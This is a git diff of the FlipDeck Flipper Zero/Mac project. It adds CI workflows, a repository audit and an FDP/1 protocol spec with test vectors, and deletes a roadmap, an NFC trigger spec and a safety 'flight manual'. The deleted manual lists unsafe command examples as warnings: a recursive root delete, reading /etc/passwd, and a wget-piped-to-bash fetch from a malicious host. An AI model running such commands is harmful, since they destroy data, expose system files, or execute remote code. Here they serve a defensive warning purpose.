b/ci/build-fap.yml @@ -0,0 +1,31 @@ +# Replaces .github/workflows/build-fap.yml. Builds the .fap on pushes to +# master and attaches it as an artifact. Unlike the old workflow, it does not +# commit binaries back into the repository. +name: Build .fap + +on: + push: + branches: [master] + paths: ["src/**", "application.fam", "assets/**"] + workflow_dispatch: + +jobs: + build-fap: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: "3.11" + - name: Cache uFBT SDK + uses: actions/cache@v4 + with: + path: ~/.ufbt + key: ufbt-sdk-${{ runner.os }}-${{ hashFiles('application.fam') }} + restore-keys: ufbt-sdk-${{ runner.os }}- + - name: Build .fap + run: pip install ufbt && ufbt + - uses: actions/upload-artifact@v4 + with: + name: flipdeck.fap + path: dist/flipdeck.fap diff --git a/ci/test.yml b/ci/test.yml new file mode 100644 index 0000000..c371474 --- /dev/null +++ b/ci/test.yml @@ -0,0 +1,106 @@ +name: Tests + +on: + push: + branches: [master] + pull_request: + workflow_dispatch: + +jobs: + mac-macos: + name: Mac app (macOS build + tests) + runs-on: macos-15 + defaults: + run: + working-directory: mac + steps: + - uses: actions/checkout@v4 + - name: Toolchain + run: swift --version && xcodebuild -version + - name: Build (all targets, incl. SwiftUI app and CoreBluetooth transport) + run: swift build + - name: Test + run: swift test + - name: Build FlipDeck.app + run: scripts/build-app.sh release && ditto -c -k --keepParent build/FlipDeck.app build/FlipDeck.app.zip + - uses: actions/upload-artifact@v4 + with: + name: FlipDeck.app + path: mac/build/FlipDeck.app.zip + + mac-core-linux: + name: Mac core (Linux build + tests) + runs-on: ubuntu-latest + container: swift:6.1-noble + defaults: + run: + working-directory: mac + steps: + - uses: actions/checkout@v4 + - name: Test dependencies + run: apt-get update -qq && apt-get install -y -qq lsof perl git >/dev/null + - name: Test + run: swift test + + flipper-host: + name: Flipper app (host tests) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Protocol + state tests (ASan/UBSan, golden vectors) + run: make -C src/tests/host run + + flipper-fap: + name: Flipper app (uFBT build) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: "3.11" + - name: Cache uFBT SDK + uses: actions/cache@v4 + with: + path: ~/.ufbt + key: ufbt-sdk-${{ runner.os }}-${{ hashFiles('application.fam') }} + restore-keys: ufbt-sdk-${{ runner.os }}- + - name: Build flipdeck.fap (official release SDK) + run: pip install ufbt && ufbt + - uses: actions/upload-artifact@v4 + with: + name: flipdeck.fap + path: dist/flipdeck.fap + + # Legacy packages from the pre-pivot product (see docs/AUDIT.md). Kept green + # until they are retired. + web: + name: Legacy web installer (vitest) + runs-on: ubuntu-latest + defaults: + run: + working-directory: web + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + cache-dependency-path: web/package-lock.json + - run: npm ci + - run: npm test + + desktop-helper: + name: Legacy desktop helper (jest) + runs-on: ubuntu-latest + defaults: + run: + working-directory: desktop_helper + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + cache-dependency-path: desktop_helper/package-lock.json + - run: npm ci + - run: npm test diff --git a/docs/AUDIT.md b/docs/AUDIT.md new file mode 100644 index 0000000..5491f40 --- /dev/null +++ b/docs/AUDIT.md @@ -0,0 +1,94 @@ +# FlipDeck Repository Audit (pre-pivot) + +Audit date: 2026-09-24 · Base commit: `26b96bb` + +This audit was done before the pivot to **FlipDeck Mission Control**. It covers +what existed, how well it worked, and what happens to each part. + +## 1. What existed + +| Area | Path | Stack | Size | Purpose | +|---|---|---|---|---| +| Flipper app | `src/`, `application.fam` | C, uFBT | ~3.3k LOC | USB HID "command deck": browse JSON profiles from SD card, type commands as keystrokes. Also had NFC and Sub-GHz triggers and a WiFi-devboard UART target. | +| Flipper host tests | `src/tests/host/` | C + stubs | 220 assertions | Tested profile JSON parsing, the safety regexes, and the HID keymap. | +| Web installer | `web/` | Next.js 16, Vitest | ~1.5k LOC | Browsed keystroke profiles; installed the `.fap` and profiles through Web Serial or a ZIP download. Deployed to Vercel. | +| Desktop helper | `desktop_helper/` | Node/TS CLI, Jest | ~1.2k LOC | `flipdeck profile validate/new/edit/...` for keystroke profiles. | +| Profiles | `sd_card/`, `safety-rules.json` | JSON | — | Keystroke command profiles and dangerous-command regexes. | +| CI | `.github/workflows/` | GH Actions | — | Vitest, Jest, C host tests. A uFBT build that commits `flipdeck.fap` into `web/public` on `master`. | +| Misc | `CMakeLists.txt`, `.agents/skills/` | — | — | `CMakeLists.txt` called a CMake function that doesn't exist (`FlipperApp`). It was never a working build file. `.agents/skills` is vendored Vercel agent skills. | + +**Not present:** there was no Mac application of any kind, and no Bluetooth code +on either side. The only Mac↔Flipper channel was USB HID keystroke injection +(one-way, host-blind) plus Web Serial for installing files. + +## 2. Test status at audit time + +All existing suites passed: + +- C host tests: 108 + 55 + 5 + 52 assertions, 0 failures +- desktop_helper (Jest): 54/54 +- web (Vitest): 76/76 + +The `.fap` itself could not be built in this environment (the uFBT SDK host is +blocked by network policy). It had never been verified on hardware, and the +repo's own docs said so. + +## 3. Quality findings (old Flipper app) + +These findings matter for deciding what to reuse: + +1. **The app could never exit.** `flipdeck_app()` runs `while(true) { loop; delay }`, + so `flipdeck_app_free()` is unreachable. No input path breaks the loop: + Back at the top level does nothing. It also polled and redrew every 50 ms, + with no event queue. +2. **USB HID was probably never working.** `usb_hid.c` calls `furi_hal_hid_kb_press()` + but never switches the USB stack into HID mode (`furi_hal_usb_set_config(&usb_hid, …)` + is never called). While the Flipper sits in its default CDC mode, + `furi_hal_hid_is_connected()` is false, so the product's core feature would + not have worked on a real device. +3. The NFC and Sub-GHz bridges were type-checked but never built or run + (as their own comments note). +4. The JSON "parser" is `strstr`-based key lookup. It works for fixtures but is + fragile for real JSON. + +## 4. Relevance to the new product + +The pivot turns the architecture around. **Before:** the Flipper held the +logic (profiles) and pushed keystrokes into a computer it could not see. +**After:** the Mac holds the logic and state, and the Flipper is a thin, read-mostly +terminal that asks the Mac to run a small set of vetted actions. + +Keystroke injection is the opposite of the new safety model ("never allow +arbitrary remote shell execution"). Typing `git push\n` into whatever window has +focus *is* arbitrary remote shell execution, and nothing confirms which window +that is. + +## 5. Keep / refactor / remove / replace + +| Component | Decision | Reason | +|---|---|---| +| `src/` Flipper keystroke app (UI, profile manager, HID, NFC, Sub-GHz, UART) | **Removed** (still in git history at `26b96bb`) | Obsolete product model; does not exit; HID path most likely non-functional. Nothing in it is the right shape for a state-mirroring BLE client. | +| `src/tests/host/` harness (`make run`) | **Kept (pattern)** | Same location and entry point, now testing the new protocol and state store. | +| Root `application.fam` + `src/` layout | **Kept (layout), contents replaced** | New app, same `appid` (`flipdeck`) and layout, so the existing CI jobs build and test the new app unchanged. | +| `CMakeLists.txt` | **Removed** | Never a working build file. | +| `.github/workflows/build-fap.yml` | **Replacement proposed** (`ci/build-fap.yml`) | It commits binaries into `web/public` on master. The replacement builds on PRs too, uploads the `.fap` as an artifact, and doesn't commit. The session couldn't push workflow files. | +| `.github/workflows/test.yml` | **Replacement proposed** (`ci/test.yml`) | Adds Swift (macOS + Linux) jobs and a uFBT build on PRs. The existing file keeps working unchanged. | +| `web/` installer | **Kept for now, legacy, removal recommended** | Vercel deploys it (root dir `web`). Deleting it would break a live deployment, which is the owner's call. It installs the *old* app and profiles, so it should be retired or rewritten as a download page for the Mac app and new `.fap`. | +| `desktop_helper/` CLI | **Kept for now, legacy, removal recommended** | Only manages keystroke profiles. Its role is superseded by the Mac app. | +| `sd_card/`, `safety-rules.json` | **Kept for now, legacy** | Only consumed by `web/` and `desktop_helper/`. Remove together with them. | +| Web Serial installer knowledge (`web/src/lib/flipper-serial.ts`) | **Reference only** | Could later power "Install Flipper app" from the Mac app over USB CDC. Not needed for the MVP. | +| `.agents/skills/` | Untouched | Unrelated vendored tooling. | + +## 6. Environment notes for whoever builds next + +- A Swift toolchain is not installed in the cloud container, but the official + `swift:6.1-noble` image pulls from `mirror.gcr.io`. The platform-independent core + (`mac/Sources/FlipDeckCore`) is built and tested on Linux that way. The macOS-only + targets (SwiftUI, CoreBluetooth, Keychain, IOKit) are compiled only by the + macOS CI job in `ci/test.yml`. +- The official Flipper SDK host (`update.flipperzero.one`) is blocked, but + `github.com/flipperdevices/flipperzero-firmware` clones fine. + `scripts/check_flipper_sdk.sh` type-checks every Flipper source against the real + firmware headers with the firmware's own `-Werror` flags, and checks each symbol + used against `api_symbols.csv`. A full uFBT build also works offline against + Momentum's SDK zip, which is published as a GitHub release asset. diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md deleted file mode 100644 index faf6ff1..0000000 --- a/docs/ROADMAP.md +++ /dev/null @@ -1,62 +0,0 @@ -# FlipDeck Roadmap - -## Phase 1: Foundation - -- [x] Core Flipper Zero app structure (uFBT) -- [x] Basic UI with profile browser -- [x] SD card profile storage -- [x] USB HID communication layer -- [x] Default profile templates -- [x] Settings management -- [x] Flight manual documentation - -## Phase 2: Profile Management - -- [ ] Create new profiles from Flipper UI -- [ ] Edit existing profiles -- [ ] Delete profiles -- [ ] Profile import/export via SD card -- [ ] Profile categories/tags -- [ ] Icon selection per profile - -## Phase 3: USB Enhancements - -- [x] Key combination support (Ctrl, Alt, Shift, Win) -- [x] Delay configuration per command (`delay_ms` on each command; profile-level default still open — see #42) -- [ ] Key press/release timing control -- [x] USB connection auto-detection (settings toggle gates the status poll) -- [ ] Multiple keyboard layouts - -## Phase 4: Advanced Features - -- [x] Favorites + quick-send (long-press OK skips confirm; Right toggles favorite) -- [x] NFC tag triggers (scan a tag to jump straight to a mapped action's confirm screen) -- [x] Sub-GHz RF remote triggers (RX-only 433MHz bind/fire; always confirms) -- [ ] Presentation remote mode (left/right/up/down keys) -- [ ] Mouse movement and clicks -- [ ] Desktop companion app for profile sync -- [ ] GitHub Gist import for shared profiles -- [ ] Quick snippet buffer (multiple profiles at once) - -## Phase 5: Optional Extensions - -- [x] WiFi dev board support for network commands -- [ ] Momentum firmware integration (developed/tested on Momentum so far; not yet - verified against official Flipper firmware) -- [ ] Bluetooth HID support -- [ ] QR code profile import -- [ ] Voice command triggering - -## Long-term Vision - -FlipDeck should become the ultimate USB command center for Flipper Zero: a safe, extensible tool that bridges the gap between physical button presses and digital workflows. - ---- - -## Safety Requirements - -All future features must adhere to the safety principles in `docs/flight_manual.md`: -- No stealth payloads -- No automatic execution -- No credential storage -- Safe defaults diff --git a/docs/flight_manual.md b/docs/flight_manual.md deleted file mode 100644 index bbf9996..0000000 --- a/docs/flight_manual.md +++ /dev/null @@ -1,149 +0,0 @@ -# FlipDeck Flight Manual - -**Safety First — Read This Before Using FlipDeck** - -## ⚠️ WARNING - -FlipDeck sends keystrokes to any computer connected via USB. The Flipper Zero acts as a keyboard, and whatever you send will be interpreted by the host computer. - -**Misuse of this device can cause data loss, unintended actions, or security incidents.** - ---- - -## Core Safety Principles - -### 1. No Stealth Payloads -FlipDeck is transparent. Every command is visible in the profile list and requires confirmation before sending. You control exactly what is typed. - -### 2. No Automatic Execution -**Nothing is sent without your explicit consent.** The Flipper displays each command before you confirm. - -### 3. No Credential Storage -**Never store passwords, tokens, or sensitive credentials in FlipDeck.** The SD card is not encrypted and profiles are readable by anyone with access to the Flipper. - -### 4. No Destructive Defaults -Default profiles use safe commands (comments, harmless text). You must create or modify profiles for dangerous operations. - ---- - -## Before First Use - -### Check Your Connections -- Ensure USB cable supports data transfer (not charge-only) -- Test connection with a text editor on the host computer -- Verify the Flipper shows "USB: OK" in the browser - -### Review Default Profiles -Default profiles include Git and dev commands. Review them in: -``` -/ext/apps_data/flipdeck/profiles/ -``` - -### Backup Your SD Card -Before creating many profiles, backup your SD card. Profile data is stored in: -``` -/ext/apps_data/flipdeck/profiles/ -/ext/apps_data/flipdeck/settings.json -``` - ---- - -## Safe Practices - -### Safe Command Examples -``` -# These are safe to store: -"git status" -"ls -la" -"pwd" -"echo 'Hello from FlipDeck'" -"# This is a comment" -``` - -### Unsafe Command Examples -``` -# DO NOT store these: -"rm -rf /" -"format C:" -"cat /etc/passwd" -"password123" -"wget http://malicious.site/script.sh | bash" -``` - -### Best Practices -1. **Always test** in a text editor first -2. **Keep commands short** (<256 characters) -3. **Use comments** to document what each profile does -4. **Review profiles** periodically -5. **Disable profiles** you don't need (`enabled: false`) - ---- - -## Troubleshooting - -### USB Not Detected -1. Check USB cable (needs data pins) -2. Try different USB port -3. Restart Flipper -4. Check host computer's USB settings - -### Commands Not Working -1. Verify host application is focused -2. Check keyboard layout matches command language -3. Increase `send_delay_ms` in settings -4. Ensure no password managers intercept keystrokes - -### SD Card Issues -1. Ensure SD card is properly mounted -2. Check file permissions -3. Reformat as FAT32 if corrupted -4. Restore from backup if needed - ---- - -## Navigation Shortcuts - -FlipDeck's default flow is Category → Action → Confirm → Send. These shortcuts cut that down for actions you use often: - -- **Favorites (Right button on an action):** Pins/unpins the selected action. A `* Favorites (N)` row appears at the top of the category list once you have at least one, flattening your pinned actions from every category into a single list. -- **Quick-send (long-press OK on an action):** Sends immediately, skipping the separate confirm screen. The command was already visible in the list you're looking at, and it still goes through FlipDeck's safety checks — this only removes the extra screen, not the review or the checks. -- **Home category (long-press OK on a category):** Pins that category as your startup category. The app then opens directly into its action list on launch, skipping the category browser. Long-press it again to unpin. -- **NFC Scan (select it from the category list):** Hold an NFC tag to the back of the Flipper. A tag you've already bound jumps straight to the confirm screen for its mapped action — NFC-triggered sends always require this confirm step, even with quick-send or `confirm_before_send` off, since a tag's UID can be cloned by anyone who taps it. An unmapped tag prompts you to pick a category and action to bind it to. -- **Sub-GHz Scan (select it from the category list):** Point a cheap 433MHz remote or keyfob at the Flipper and press its button. FlipDeck only *listens* — it never transmits, so this can't be used to replay or attack a garage door, gate, or car. A remote you've already bound jumps straight to the confirm screen for its mapped action, always, even with quick-send or `confirm_before_send` off — RF can be picked up from across a room with no physical contact at all, an even weaker signal of intent than an NFC tap. An unrecognized remote prompts you to pick a category and action to bind it to. Note: many modern car and garage keyfobs use "rolling codes" that change every press — those will never successfully bind, by design, since matching a rolling code would mean FlipDeck could replay it. - ---- - -## Emergency Procedures - -### Disable USB Connection -Hold MENU + DOWN during startup to disable USB. - -### Factory Reset -Delete `/ext/apps_data/flipdeck/` folder to reset all profiles and settings. - -### Report Issues -Open an issue at: https://github.com/mohabbis/flipdeck/issues - ---- - -## FAQ - -**Q: Can FlipDeck steal my passwords?** -A: No. FlipDeck only sends keystrokes you configure. It cannot read what's on screen. - -**Q: Can it run without my permission?** -A: No. Sending a command always requires you to press OK on it — either from the confirm screen, or via long-press quick-send while looking at it in the action list. Nothing fires from just scrolling or opening a category. - -**Q: Is it safe with banking websites?** -A: Safe if you review commands first. Never store sensitive data. - -**Q: Can I use it on macOS/Linux?** -A: Yes. USB HID works on all modern operating systems. - ---- - -## Legal Notice - -Use of FlipDeck is subject to applicable laws. Do not use for unauthorized access to computer systems. The developers assume no liability for misuse. - -**By using FlipDeck, you agree to these terms.** \ No newline at end of file diff --git a/docs/installer-flow.md b/docs/legacy/installer-flow.md similarity index 100% rename from docs/installer-flow.md rename to docs/legacy/installer-flow.md diff --git a/docs/profile-format.md b/docs/legacy/profile-format.md similarity index 100% rename from docs/profile-format.md rename to docs/legacy/profile-format.md diff --git a/docs/nfc_trigger_spec.md b/docs/nfc_trigger_spec.md deleted file mode 100644 index 0cf4cff..0000000 --- a/docs/nfc_trigger_spec.md +++ /dev/null @@ -1,208 +0,0 @@ -# Spec: NFC Tag Triggers for FlipDeck - -Status: **Phase 1 implemented** (`flipdeck_app.h`/`.c`, `flipdeck_ui.h`/`.c`, -`profile_manager.h`/`.c`, `nfc_bridge.h`/`.c`, `application.fam`). - -No `fbt`/`ufbt` toolchain is available in this environment (its SDK download -is blocked by the sandbox's network policy), so this hasn't gone through a -real build. As a substitute: `nfc_bridge.c` was syntax/type-checked with -`gcc -fsyntax-only -Wall -Wextra -Wpedantic` against the actual, current -`lib/nfc/{nfc,nfc_device,nfc_scanner,nfc_poller,protocols/*}.h` fetched from -`flipperdevices/flipperzero-firmware` (not hand-typed guesses at their -contents) and came back with zero warnings — every function signature and -struct field it uses matches the real headers exactly. `flipdeck_ui.c`/ -`flipdeck_app.c` were checked the same way against a hand-built fake GUI -header set, and `profile_manager.c`'s new logic runs through the real host -test suite (188/188 passing). None of that substitutes for an actual build + -hardware flash, which is still the next step before trusting this fully — -see `nfc_bridge.c`'s file header comment for exactly what remains unconfirmed -(linking, runtime behavior, any Momentum-specific header differences). - -Two deliberate deviations from the plan below, made during implementation: -- No separate `FlipDeckState_NfcBind`. Binding reuses `CategoryBrowser`/ - `ActionBrowser` directly via a `nfc_binding_uid_hex` flag on `FlipDeckUi` - that repurposes OK to "bind here" instead of "send this" — simpler than a - parallel state, and the existing views already do everything binding needs. -- `nfc_bridge.c` exposes `nfc_bridge_poll_tag()` (called once per main-loop - tick) rather than a raw `NfcBridgeTagCallback`. NFC detection callbacks - run on the NFC worker thread, not the UI thread, so handing UI state - straight to a hardware callback would be a cross-thread mutation bug; the - poll-based API latches the result behind a mutex instead. - -## What this is, and isn't - -FlipDeck today has two *output* surfaces: USB HID keystrokes (`usb_hid.c`) and -a UART bridge to the WiFi Dev Board (`uart_bridge.c`). NFC would add a third -*input* surface — a physical trigger, alongside the existing button -navigation, for firing an action. It does not touch USB or Bluetooth; the -Flipper has no BLE HID support in this codebase today (see `usb_hid.h`, -`uart_bridge.h` — nothing else exists). NFC and USB HID are independent and -composable: tap a tag → FlipDeck resolves it to an action → sends over -whichever `target` that action already specifies. - -## UX flow - -1. Category browser gets a third synthetic row (alongside the existing - `* Favorites` row from the last PR): **`~ NFC Scan`**, always present. -2. Selecting it enters a new state, `FlipDeckState_NfcScan`, which shows - "Hold tag to back of Flipper" and starts the NFC field. -3. On tag detect: - - **Known UID** (found in the mapping file) → jump straight to the - existing `FlipDeckState_SendConfirm` screen for the mapped action, - exactly as if the user had picked it from the action browser. The - command/label is shown and OK is still required — **NFC-triggered - sends always require the confirm screen, regardless of the - `confirm_before_send` setting or the long-press quick-send shortcut.** - This is the one safety call worth being explicit about: an - NFC UID is trivially cloneable (any $5 reader/writer or another - Flipper), so physical tag possession is a much weaker signal of - intent than a person consciously holding OK on a chosen list item. - The confirm screen is what keeps "someone waved a tag near my - Flipper" from being equivalent to "I picked this command." - - **Unknown UID** → show "Unknown tag — bind it?" with Back to cancel - or OK to jump into the category/action browser to pick which action - this tag should map to (writes the mapping on selection). -4. Back from the scan screen stops the NFC field and returns to the - category browser, same as any other row. - -## Data model - -New file, not part of `settings.json` (this is data, not a preference, and -can grow independently): `/ext/apps_data/flipdeck/nfc_tags.json` - -```json -{ - "tags": [ - { "uid": "04A1B2C3", "category_id": "git", "label": "Git Status" } - ] -} -``` - -- `uid`: uppercase hex string of the tag's UID bytes (NFC-A/ISO14443 UIDs are - 4, 7, or 10 bytes — store the hex form, not raw bytes, since it round-trips - through JSON cleanly and is what `nfc_device_get_uid()` gives you the - length for). -- `category_id` + `label`: same shape as `FlipDeckFavorite` (added in the - favorites PR) — deliberately reused rather than inventing a new pairing - scheme. A mapping is "a UID that resolves to a favorite-shaped reference," - so the action itself is always re-read fresh from the category file, never - duplicated/stale. - -```c -// profile_manager.h -#define FLIPDECK_MAX_NFC_TAGS 16 -#define FLIPDECK_NFC_UID_HEX_LEN 21 // 10 bytes -> 20 hex chars + NUL - -typedef struct { - char uid_hex[FLIPDECK_NFC_UID_HEX_LEN]; - char category_id[32]; - char label[64]; -} FlipDeckNfcTag; -``` - -Kept separate from `FlipDeckSettings` (unlike favorites) because: -`settings.json` is rewritten wholesale on every settings change, and 16 -tag mappings at ~90 bytes JSON each would nearly double that file's size -for no reason — favorites already share `settings.json` because they're -few (max 6) and conceptually a preference; tags are a growing dataset. - -```c -// profile_manager.h — mirrors the favorites API added previously -bool profile_manager_load_nfc_tags(FlipDeckNfcTag* tags, uint32_t* count); -bool profile_manager_save_nfc_tags(const FlipDeckNfcTag* tags, uint32_t count); -const FlipDeckNfcTag* profile_manager_find_nfc_tag( - const FlipDeckNfcTag* tags, uint32_t count, const char* uid_hex); -bool profile_manager_hex_encode_uid(const uint8_t* uid, size_t uid_len, char* out, size_t out_size); -``` - -`profile_manager_hex_encode_uid` is the one genuinely new piece of logic -(favorites/settings parsing already has a template to copy for the JSON -array load/save). It's pure string logic — fully host-testable without -hardware, same as the favorites toggle logic was. - -## New module: `nfc_bridge.c` / `nfc_bridge.h` - -Same shape as `uart_bridge.c` — a thin wrapper isolating the hardware calls -from the UI so `flipdeck_ui.c` never touches `Nfc*`/`NfcScanner*` directly: - -```c -// nfc_bridge.h -typedef void (*NfcBridgeTagCallback)(const char* uid_hex, void* context); - -bool nfc_bridge_init(void); -void nfc_bridge_deinit(void); -void nfc_bridge_start_scan(NfcBridgeTagCallback callback, void* context); -void nfc_bridge_stop_scan(void); -``` - -Internally: `nfc_bridge_start_scan` calls `nfc_scanner_alloc(nfc)` + -`nfc_scanner_start()`. The scanner callback fires -`NfcScannerEventTypeDetected` with a `protocol_num`/`protocols[]` list — -that's protocol detection, not a full read. To get the UID, on detection -start an `NfcPoller` for the first detected protocol, read once, then pull -the device via `nfc_poller_get_data()` → `nfc_device_get_uid(device, &len)`, -hex-encode it, and hand that string up through `NfcBridgeTagCallback`. Stop -both scanner and poller once a UID is delivered (single-shot per screen -visit, not continuous — re-entering the NFC scan screen restarts it). - -This file is the one part of this spec that can't be host-tested at all — -`Nfc`/`NfcScanner`/`NfcPoller` have no meaningful stub semantics, so -`nfc_bridge.c` needs on-device verification the way `usb_hid.c`'s actual -USB transmission does today (the host tests only cover `key_name_to_code` -et al., not real HID I/O). - -## State machine changes - -```c -// flipdeck_app.h -typedef enum { - FlipDeckState_Idle, - FlipDeckState_CategoryBrowser, - FlipDeckState_ActionBrowser, - FlipDeckState_NfcScan, // new - FlipDeckState_NfcBind, // new — "assign this tag to an action" sub-flow - FlipDeckState_SendConfirm, - FlipDeckState_LongSnippetWarning, - FlipDeckState_Settings, -} FlipDeckState; -``` - -`FlipDeckState_NfcScan` draws the "hold tag" prompt and owns the -scanner/poller lifecycle (start on enter, stop on Back or on successful -detect). `FlipDeckState_NfcBind` is entered only for an unknown UID and -reuses the category/action browser views in a "picking mode" — on OK over -an action, write the new `FlipDeckNfcTag` entry and return to -`NfcScan` (so you can bind several tags in one sitting) rather than -kicking back out to the category browser each time. - -## Safety checklist (mirrors the existing safety-rules.json posture) - -- NFC-triggered sends go through `profile_manager_validate_action()` exactly - like every other send path — no separate/weaker check. -- NFC-triggered sends **always** land on `SendConfirm`, never quick-send, - regardless of settings. This is the one deliberate asymmetry with the - button-driven flow and should be called out in `docs/flight_manual.md` - and `CLAUDE.md`'s safety section if implemented. -- `FLIPDECK_MAX_NFC_TAGS` bounds the mapping file the same way - `FLIPDECK_MAX_FAVORITES` bounds favorites — no unbounded growth on SD - card corruption or a malformed file. -- Binding a tag never edits `safety-rules.json` or bypasses the audit — - it only creates a `(uid → existing category_id/label)` pointer. - -## Build/config note - -`nfc`, `nfc_scanner`, `nfc_poller`, `nfc_device` live in the firmware's NFC -library, which is a real dependency, not auto-available like `furi`/`gui`. -`application.fam` needs the relevant `requires` entry (check current -firmware's `nfc` app manifest for the exact library target name) or the -`fbt`/`ufbt` build will fail to link — this is worth confirming against a -real firmware checkout before writing code, since manifest dependency names -do shift between firmware versions. - -## Suggested phasing - -1. **Phase 1** (this spec): read-only binding — map a tag to an existing - action, tap to jump to confirm. Everything above. -2. **Phase 2** (future, not spec'd here): write FlipDeck's own blank - NFC tags via `nfc_device_save()` so a tag can be a physical macro key - with a printed label, rather than only recognizing tags you already own. diff --git a/docs/protocol-vectors.txt b/docs/protocol-vectors.txt new file mode 100644 index 0000000..e253af7 --- /dev/null +++ b/docs/protocol-vectors.txt @@ -0,0 +1,37 @@ +# FDP/1 golden vectors. Generated by scripts/gen_protocol_vectors.py; do not edit by hand. +# OK must decode, and re-encode to exactly the same bytes +# BAD must be rejected with that reason +OK HELLO|1|0a1b2c3d|Studio|182|1790000000*B362 +OK HI|1|0.1.0|0|5eed0001*56EA +OK SNAP|3|12*E88D +OK SUM|1|4|3|1*E93F +OK PRJ|p1abcde|flipdeck|main|c|0|0|3000|r|0*653C +OK PRJ|p2abcde|interlockd|feature/x|d|2|-|0|-|1*B696 +OK SVC|s0a1b2c|Vite|5173|flipdeck|1789997720*F37E +OK AGT|g0a1b2c|Claude Code|flipdeck|r|1789990000*1CD5 +OK ATN|t00a1b2|e|flipdeck|Production deploy failed*7206 +OK EVT|e00a1b2|s|23:42|flipdeck|Production deployment is live*7429 +OK ACT|s0a1b2c|a0zz9k1|STOP|dc|*A553 +OK ACT|p1abcde|a0000z1|OPEN||*6BBE +OK END|3*659C +OK MAC|Studio|25|70|81|1|1|1789000000*EA7B +OK ALR|t00a1b2|e|flipdeck|Production deploy failed|Type error in app/page.tsx*E9DB +OK RES|12|1|Opened in Cursor*C4EF +OK REQ|12|a0zz9k1|3*E5FF +OK PING|3|1790000005*0753 +OK PONG|3*15EA +OK SYNC|0*FE76 +OK SEEN|t00a1b2*5BBD +OK BYE|quit*BE37 +OK FUTURE|unknown|types|still|decode*0471 +BAD badChecksum PING|3|1790000005*0000 +BAD malformed PING|3|1790000005 +BAD malformed PING|3*12G4 +BAD malformed ping|1*7419 +BAD malformed *FFFF +BAD malformed PING|1*ABC +BAD malformed PING|1*+123 +BAD malformed TOOLONGTYPE|1*BD5B +BAD malformed P1NG|1*E786 +BAD nonPrintable PING| 1*0000 +BAD tooLong EVT|xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*691F diff --git a/docs/protocol.md b/docs/protocol.md new file mode 100644 index 0000000..72e1fc3 --- /dev/null +++ b/docs/protocol.md @@ -0,0 +1,131 @@ +# FDP/1 — FlipDeck Protocol, version 1 + +The wire protocol between FlipDeck for Mac and FlipDeck for Flipper. It is +transport-independent: any ordered, reliable byte stream works. Phase 1 uses +the Flipper BLE serial service (see `ARCHITECTURE.md`). + +Implementations: +- Mac: `mac/Sources/FlipDeckCore/Protocol/` +- Flipper: `src/fd_proto.c` and `src/fd_state.c` + +Both are tested against the shared golden vectors in `docs/protocol-vectors.txt` +(generated by `scripts/gen_protocol_vectors.py`, an independent third +implementation). `InteropTests.swift` also runs the Swift session against the C +state machine end to end. + +## Design goals + +- Small enough to parse with fixed buffers on a 4 KB stack. No JSON on the Flipper. +- Human-readable, so you can debug a session from a log. +- Idempotent. Every message can be delivered twice without harm. +- Full-state sync instead of deltas. After any doubt (reconnect, parse error, + generation mismatch) the fix is always "send the whole snapshot again". + +## Framing + +``` +TYPE|field1|field2|…|fieldN*CCCC\n +``` + +- The payload is printable ASCII only (0x20–0x7E), and `|` separates fields. + `TYPE` is 1–7 uppercase letters `A–Z`. At most 12 fields are read; any + further fields are ignored. +- `CCCC` is the CRC-16/CCITT-FALSE of every payload byte before the `*` + (poly 0x1021, init 0xFFFF, no reflection, xorout 0), as 4 uppercase hex digits. +- A frame, including `\n`, is **at most 240 bytes**. `\r` is ignored. +- Fields never contain `|`, `*`, or control characters. The Mac encoder folds + diacritics, replaces other non-ASCII characters with `?`, maps `|` to `/` and + `*` to `+`, and truncates to the field limit. The Flipper only displays text, + so lossy sanitizing is acceptable. +- Receivers **drop** frames that are too long, fail the CRC, contain a non-printable + byte, or have an unknown `TYPE`. Unknown types are ignored, which keeps the + protocol forward-compatible within a major version. Too few fields is a + malformed frame. Extra trailing fields are ignored. +- Numbers are unsigned decimal. `-` means "unknown / not available". + +## Time + +The Flipper has no reliable wall clock. `HELLO` and `PING` carry the Mac's Unix +time. The Flipper stores `(mac_time, local_tick)` and estimates the Mac's current time +from them. Records carry **absolute** Unix start times, so a snapshot stays +byte-identical while nothing changes, and the Flipper renders "38m" locally. +Activity timestamps are pre-formatted by the Mac (`23:42`). + +## Mac → Flipper + +| Frame | Fields | Notes | +|---|---|---| +| `HELLO` | `proto`, `session`, `host`, `mtu`, `now` | Sent when the link comes up. `session` is 8 hex chars, new each connection. `mtu` is the maximum bytes per Flipper→Mac chunk. | +| `SNAP` | `gen`, `count` | Starts a snapshot. `gen` increases monotonically within a session. `count` is the number of records that follow. | +| `SUM` | `attention`, `projects`, `servers`, `agents` | Snapshot record. Home-screen counts. | +| `PRJ` | `id`, `name`, `branch`, `git`, `ahead`, `behind`, `port`, `deploy`, `attn` | Snapshot record. `git`: `c` clean, `d` dirty, `n` not a repo, `-` unknown. `deploy`: `-` none, `q` queued, `b` building, `r` ready, `e` error, `x` canceled. `port` is `0` if there is no dev server. `attn` is `0`/`1`. | +| `SVC` | `id`, `name`, `port`, `project`, `started` | Snapshot record. `started` is a Unix time or `-`. | +| `AGT` | `id`, `provider`, `project`, `state`, `started` | Snapshot record. `state`: `r` running, `w` waiting, `x` exited (outcome unknown), `c` completed, `f` failed. Phase 1 emits only `r`. | +| `ATN` | `id`, `sev`, `project`, `title` | Snapshot record. An attention item. | +| `EVT` | `id`, `sev`, `time`, `project`, `title` | Snapshot record. Recent activity, newest first. `sev`: `i` info, `s` success, `w` warning, `e` error, `a` action required. | +| `ACT` | `owner`, `id`, `kind`, `flags`, `label` | Snapshot record. An action available on entity 